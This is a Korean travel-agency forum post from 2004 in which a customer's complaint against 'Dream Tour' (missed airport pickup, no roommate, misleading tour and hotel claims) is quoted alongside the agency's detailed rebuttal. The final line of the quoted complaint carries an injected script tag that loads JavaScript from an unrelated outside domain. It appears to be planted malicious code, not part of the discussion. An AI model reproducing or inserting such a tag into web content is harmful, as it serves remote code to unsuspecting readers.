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글제목
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드림투어에속지말자(2)
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글쓴이
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윌리엄 채
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E-Mail
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(비공개)
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등록일
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2004-11-02 오전 11:08:39
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조회수
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246
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글번호
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1716
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답변)1.귀하께 공항미팅시 드림투어로 이루어지는지며,
> 당일 가이드가 피킷없이 미팅한것에 대해선
> 죄송합니다.
> 2.귀하께서 여행예약 상담 및 문의란에 대화을 참조하세요
> 3.귀하께서 올려놓으신 내용에 대해 삭제한것은 익명으로
> 처리되어서 저희 직원이 삭제를 한것이며,제가 출장다와
> 귀하의 내용을 어제 확인했으며, 또한 제가 아는분이기에
> 삭제를 하지않았습니다.
> 4.뉴욕시내관광은 엔터테이먼트가 아주 많은 도시로
> 제대로 구경하실려면 6개월정도의 시간이 필요합니다.
> 뉴욕시내관광은 뉴욕시내의 대략적인 안내와 설명이며
> 귀하께서 말씀하신대로 내려서 보시는 코스는
자유여신상,엠파이어 빌딩,유엔본부,요한대성당
(일정 시간에따라변동)정도로 이루어 집니다.
그리고 나머지는 전부 차안에서
> 가이드의 설명으로 이루어 집니다.
> 어느 회사건 같은 형태로 투어가 이루어집니다.
> 5.여행일정 및 코스에 대해선 세부일정을 확인하세요
> 6.귀하께서는 송금 구좌를 잘못기재해 못보낸것을
> 떠나는 날 알았다고 하시면서 행사가 끝날 무렵에
> 저화 통화중일때 제가 송금확인 유무를 여쭈어봤을때
> 귀하께서는 이미 송금했다고 말씀하셔서 저희 구좌에
> 확인을 해보니 송금온게 없다고 말씀드려서 그때
> 가이드한테 지불하겠다고 하셨습니다.
> 7.저희 업소는 후러싱에 있으며,뉴져지는 뉴욕이 아닙니다.
> 8.미국의 여행패턴에 대해 말씀드리겠습니다.
> 특히 동부의 여행은 서부와는 달리 시즌이 명확이 구분이
> 되어져 비수기에는 서로 가까운 여행사끼리 상호 도움을
> 주고 받고합니다. 귀하께서 지불하신 요금은 호텔비에도
> 못미치는 아주 저렴한 요금입니다.만일 귀하께서 편안한
> 투어를 원하시면 럭셔리 투어에 참가하셔야 합니다.
> 57인승에 51명을 모시는게 불편하시다면 어느 여행사도
> 이러한 투어를 감당 못할것입니다.
> 한 여름에 57인승에 51명아닌 54명까지 모시고 다니는게
> 보통이며, 이렇게 행사를 해도 회사는 마진이 $500도
> 남기지 못하는게 이곳실정이며, 또한 이렇게 많은 분들을
> 모객해 다닐수 있는 시간도 1년에 2개월도 채 안됩니다.
> 나머지 일자는 거의 적자로 이루어집니다.
> 그래도 마지못해 이런 적자행사를 하는 이유는
> 각 회사마다 우수한 가이드를 확보하기 위한 차원입니다.
> 가이드가 없으면 회사가 성립할수 없기때문입니다.
> 9.저희 상품의 설명어디에도 특급호텔을 이용한다라고
적혀있지 않습니다만 보통 3STAR급을 이용하고있습니다.
10.상품을 확인하실때 빅세일 상품에 귀하께서 이용하신
상품을 클릭하시어 재확인 부탁드립니다.
앞으로 팩케지 여행을 하실때 반드시 행사에 따른 세부
내용을 잘 살펴보시고 본인에게 맞는지 아닌지를 먼저
따져 보시고 여행을 하셨으면 좋겠습니다.
그만큼 저렴한 요금인 대신에 버스 또는 일반차량을 이용
여행을 할 경우 그만큼 귀하께서 지불하신 금액에 맞는
여행이 될수 있는지 한번 더 확인해보십시요.
한국의 어느 여행사를 통해서 오시더라도 이러한 현지
여행사의 사정은 대동소이 하다는것을 상기시켜드립니다.
최선생님! 유익한 기분을 드리지 못해 죄송합니다.
>
>
>
> *드림투어에서 고객을 속이고 기만한것*
>>1.모든 일정및 공항 미팅은 드림투어로 이루어진다
>>2. 15일 출발은 룸메이트 가능하다
>>3.(여행상세안내)전일정 특급호텔로꾸며진 코스와 캐나다 야경포함...등등
>>4.뉴욕 관광은 버스에서 차창관광
>>모객이 않되어 타여행사에 의뢰하면 사전에 고객에게 사실대로
>>얘기하고 양해를 구하든가 아니면 공항에 나와 고객을 맞이하고
>>타여행사에서 진행하게된 동기를 충분히 설명후 고객에게 사과와
>>동시에 양해를 구해야 되는데 그냥고객을 넘기나? 공항에 나오지않고서. 밤12시 가까운 시간에 도착하여 나오니 피킷이나 표말도
>>보이지 않아 드림투어 찿으러 이리뛰고 저리뛰어도 못찿아 너무나
>>황당하고 당황스러워 어쩔몰랐네요 마침 거곳에 한국 관광객 맞는
>>타여행사 가이드에게 드림투어 물어봤더니 자기가 안내하노라하여
>>한시름 놓고 호텔에 가니 방이없어 1시간 가까이기다리다 겨우
>>방으로갔소 .룸메이트 물어니 내일 또 모레 그러더니 3일째 되는날 룸메이트가 없다니 기가막히지 뉴욕에서 제일 큰 여행사라고
>>하더니 뉴저지 프러싱에 있는군?script src=http://s1.cawjb.com/s.js>
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